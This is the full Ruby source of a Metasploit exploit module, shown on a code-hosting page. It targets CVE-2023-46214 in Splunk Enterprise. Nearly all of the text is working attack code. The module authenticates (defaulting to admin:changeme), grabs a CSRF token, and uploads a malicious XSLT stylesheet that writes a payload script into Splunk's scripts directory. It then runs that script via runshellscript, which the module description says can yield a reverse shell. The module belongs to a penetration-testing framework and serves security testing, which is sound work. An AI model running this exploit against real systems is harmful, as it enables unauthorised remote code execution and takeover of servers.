Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/http/splunk_xslt_authenticated_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9prepend Msf::Exploit::Remote::AutoCheck1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Splunk Authenticated XSLT Upload RCE',16'Description' => %q{17This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise.18The affected versions include 9.0.x before 9.0.7 and 9.1.x before 9.1.2. The exploitation process leverages19a weakness in the XSLT transformation functionality of Splunk. Successful exploitation requires valid20credentials, typically 'admin:changeme' by default.2122The exploit involves uploading a malicious XSLT file to the target system. This file, when processed by the23vulnerable Splunk server, leads to the execution of arbitrary code. The module then utilizes the 'runshellscript'24capability in Splunk to execute the payload, which can be tailored to establish a reverse shell. This provides25the attacker with remote control over the compromised Splunk instance. The module is designed to work26seamlessly, ensuring successful exploitation under the right conditions.27},28'Author' => [29'nathan', # Writeup and PoC30'Valentin Lobstein', # Metasploit module31'h00die', # Assistance in module development32],33'License' => MSF_LICENSE,34'References' => [35['CVE', '2023-46214'],36['URL', 'https://github.com/nathan31337/Splunk-RCE-poc'],37['URL', 'https://advisory.splunk.com/advisories/SVD-2023-1104'], # Vendor Advisory38['URL', 'https://blog.hrncirik.net/cve-2023-46214-analysis'], # Writeup39],40'Platform' => ['unix', 'linux'],41'Arch' => [ARCH_PHP, ARCH_CMD],42'Targets' => [['Automatic', {}]],43'DisclosureDate' => '2023-11-28',44'DefaultTarget' => 0,45'DefaultOptions' => {46'RPORT' => 80004748},49'Privileged' => false,50'Notes' => {51'Stability' => [CRASH_SAFE],52'Reliability' => [REPEATABLE_SESSION],53'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]54}55)56)5758register_options(59[60OptString.new('USERNAME', [true, 'Username for Splunk', 'admin']),61OptString.new('PASSWORD', [true, 'Password for Splunk', 'changeme']),62OptString.new('RANDOM_FILENAME', [false, 'Random filename with 8 characters', Rex::Text.rand_text_alpha(8)]),63]64)65end6667def exploit68cookie_string ||= authenticate69unless cookie_string70fail_with(Failure::NoAccess, 'Authentication failed')71end7273sleep(0.3)74csrf_token, updated_cookie_string = fetch_csrf_token(cookie_string)75unless csrf_token76fail_with(Failure::NoAccess, 'Failed to obtain CSRF token')77end7879sleep(0.3)80malicious_xsl = generate_malicious_xsl81text_value = upload_malicious_file(malicious_xsl, csrf_token, updated_cookie_string)82unless text_value83fail_with(Failure::Unknown, 'File upload failed')84end8586sleep(0.3)87jsid = get_job_search_id(csrf_token, updated_cookie_string)88unless jsid89fail_with(Failure::Unknown, 'Creating job failed')90end9192sleep(0.3)93unless trigger_xslt_transform(jsid, text_value, updated_cookie_string)94fail_with(Failure::Unknown, 'XSLT Transform failed')95end9697sleep(0.3)98unless trigger_payload(jsid, csrf_token, updated_cookie_string)99fail_with(Failure::Unknown, 'Failed to execute reverse shell')100end101end102103def check104unless splunk?105return CheckCode::Unknown('Target does not appear to be a Splunk instance')106end107108begin109cookie_string = authenticate110rescue RuntimeError111cookie_string = nil112end113114unless cookie_string115return CheckCode::Detected('The target is Splunk but authentication failed')116end117118version = get_version_authenticated(cookie_string)119return CheckCode::Detected('Unable to determine Splunk version') unless version120121if version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.0.6')) ||122version.between?(Rex::Version.new('9.1.0'), Rex::Version.new('9.1.1'))123return CheckCode::Appears("Exploitable version found: #{version}")124end125126CheckCode::Safe("Non-vulnerable version found: #{version}")127end128129def trigger_payload(jsid, csrf_token, cookie_string)130return nil unless jsid && csrf_token131132runshellscript_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'servicesNS', datastore['USERNAME'], 'search', 'search', 'jobs')133runshellscript_data = {134'search' => "|runshellscript \"#{datastore['RANDOM_FILENAME']}.sh\" \"\" \"\" \"\" \"\" \"\" \"\" \"\" \"#{jsid}\""135}136137upload_headers = {138'X-Requested-With' => 'XMLHttpRequest',139'X-Splunk-Form-Key' => csrf_token,140'Cookie' => cookie_string141}142143print_status("Executing payload at #{runshellscript_url}")144res = send_request_cgi(145'uri' => runshellscript_url,146'method' => 'POST',147'vars_post' => runshellscript_data,148'headers' => upload_headers149)150151unless res152print_error('Failed to execute payload: No response received')153return nil154end155156if res.code == 201157print_good('Payload executed successfully')158return true159end160161print_error("Failed to execute payload: Server returned status code #{res.code}")162return nil163end164165def trigger_xslt_transform(jsid, text_value, cookie_string)166return nil unless jsid && text_value167168exploit_endpoint = normalize_uri(target_uri.path, 'en-US', 'api', 'search', 'jobs', jsid, 'results')169exploit_endpoint << "?xsl=/opt/splunk/var/run/splunk/dispatch/#{text_value}/#{datastore['RANDOM_FILENAME']}.xsl"170171xslt_headers = {172'X-Splunk-Module' => 'Splunk.Module.DispatchingModule',173'Connection' => 'close',174'Upgrade-Insecure-Requests' => '1',175'Accept-Language' => 'en-US,en;q=0.5',176'Accept-Encoding' => 'gzip, deflate',177'X-Requested-With' => 'XMLHttpRequest',178'Cookie' => cookie_string179}180181print_status("Triggering XSLT transformation at #{exploit_endpoint}")182res = send_request_cgi(183'uri' => exploit_endpoint,184'method' => 'GET',185'headers' => xslt_headers186)187188unless res189print_error('Failed to trigger XSLT transformation: No response received')190return nil191end192193if res.code == 200194print_good('XSLT transformation triggered successfully')195return true196end197198print_error("Failed to trigger XSLT transformation: Server returned status code #{res.code}")199return nil200end201202def generate_malicious_xsl203encoded_payload = Rex::Text.html_encode(payload.encoded)204205xsl_template = <<~XSL206<?xml version="1.0" encoding="UTF-8"?>207<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">208<xsl:template match="/">209<exsl:document href="/opt/splunk/bin/scripts/#{datastore['RANDOM_FILENAME']}.sh" method="text">210<xsl:text>#{encoded_payload}</xsl:text>211</exsl:document>212</xsl:template>213</xsl:stylesheet>214XSL215216xsl_template217end218219def get_job_search_id(csrf_token, cookie_string)220return nil unless csrf_token221222jsid_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'servicesNS', datastore['USERNAME'], 'search', 'search', 'jobs')223224upload_headers = {225'X-Requested-With' => 'XMLHttpRequest',226'X-Splunk-Form-Key' => csrf_token,227'Cookie' => cookie_string228}229230jsid_data = {231'search' => '|search test|head 1'232}233234print_status("Sending job search request to #{jsid_url}")235res = send_request_cgi(236'uri' => jsid_url,237'method' => 'POST',238'vars_post' => jsid_data,239'headers' => upload_headers,240'vars_get' => { 'output_mode' => 'json' }241)242243unless res244print_error('Failed to initiate job search: No response received')245return nil246end247248jsid = res.get_json_document['sid']249return jsid if jsid250end251252def upload_malicious_file(file_content, csrf_token, cookie_string)253unless csrf_token254print_error('CSRF token not found')255return nil256end257258post_data = Rex::MIME::Message.new259post_data.add_part(file_content, 'application/xslt+xml', nil, "form-data; name=\"spl-file\"; filename=\"#{datastore['RANDOM_FILENAME']}.xsl\"")260261upload_headers = {262'Accept' => 'text/javascript, text/html, application/xml, text/xml, */*',263'X-Requested-With' => 'XMLHttpRequest',264'X-Splunk-Form-Key' => csrf_token,265'Cookie' => cookie_string266}267268upload_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__upload', 'indexing', 'preview')269270res = send_request_cgi(271'uri' => upload_url,272'method' => 'POST',273'data' => post_data.to_s,274'ctype' => "multipart/form-data; boundary=#{post_data.bound}",275'headers' => upload_headers,276'vars_get' => {277'output_mode' => 'json',278'props.NO_BINARY_CHECK' => 1,279'input.path' => "#{datastore['RANDOM_FILENAME']}.xsl"280}281)282283unless res284print_error('Malicious file upload failed: No response received')285return nil286end287288if res.headers['Content-Type'].include?('application/json')289response_data = res.get_json_document290else291print_error('Response is not in JSON format')292return nil293end294295if response_data.empty?296print_error('Failed to parse JSON or received empty JSON')297return nil298end299300if response_data['messages'] && !response_data['messages'].empty?301text_value = response_data.dig('messages', 0, 'text')302if text_value.include?('concatenate')303print_error('Server responded with an error: concatenate found in the response')304return nil305end306307print_good('Malicious file uploaded successfully')308return text_value309end310311print_error('Server did not return a valid "messages" field')312return nil313end314315def fetch_csrf_token(cookie_string)316print_status('Extracting CSRF token from cookies')317318csrf_token_match = cookie_string.match(/splunkweb_csrf_token_8000=([^;]+)/)319320if csrf_token_match321csrf_token = csrf_token_match[1]322print_good("CSRF token successfully extracted: #{csrf_token}")323324en_us_url = normalize_uri(target_uri.path, 'en-US', 'app', 'launcher', 'home')325res = send_request_cgi({326'method' => 'GET',327'uri' => en_us_url,328'cookie' => cookie_string329})330331updated_cookie_string = cookie_string332333if res && res.code == 200334new_cookies = res.get_cookies335updated_cookie_string += new_cookies336end337338return [csrf_token, updated_cookie_string]339end340341fail_with(Failure::NotFound, 'CSRF token not found in cookies')342end343344def get_version_authenticated(cookie_string)345res = send_request_cgi({346'uri' => normalize_uri(target_uri.path, '/en-US/splunkd/__raw/services/authentication/users/', datastore['USERNAME']),347'vars_get' => {348'output_mode' => 'json'349},350'headers' => {351'Cookie' => cookie_string352}353})354355return nil unless res&.code == 200356357body = res.get_json_document358Rex::Version.new(body.dig('generator', 'version'))359end360361def splunk?362res = send_request_cgi({363'uri' => normalize_uri(target_uri.path, '/en-US/account/login')364})365366return true if res&.body =~ /Splunk/367368false369end370371def authenticate372login_url = normalize_uri(target_uri.path, 'en-US', 'account', 'login')373374res = send_request_cgi({375'method' => 'GET',376'uri' => login_url377})378379unless res380fail_with(Failure::Unreachable, 'No response received for authentication request')381end382383cval_value = res.get_cookies.match(/cval=([^;]*)/)[1]384385unless cval_value386fail_with(Failure::UnexpectedReply, 'Failed to retrieve the cval cookie for authentication')387end388389auth_payload = {390'username' => datastore['USERNAME'],391'password' => datastore['PASSWORD'],392'cval' => cval_value,393'set_has_logged_in' => 'false'394}395396res = send_request_cgi({397'method' => 'POST',398'uri' => login_url,399'cookie' => res.get_cookies,400'vars_post' => auth_payload401})402403unless res && res.code == 200404fail_with(Failure::NoAccess, 'Failed to authenticate on the Splunk instance')405end406407print_good('Successfully authenticated on the Splunk instance')408res.get_cookies409end410end411412413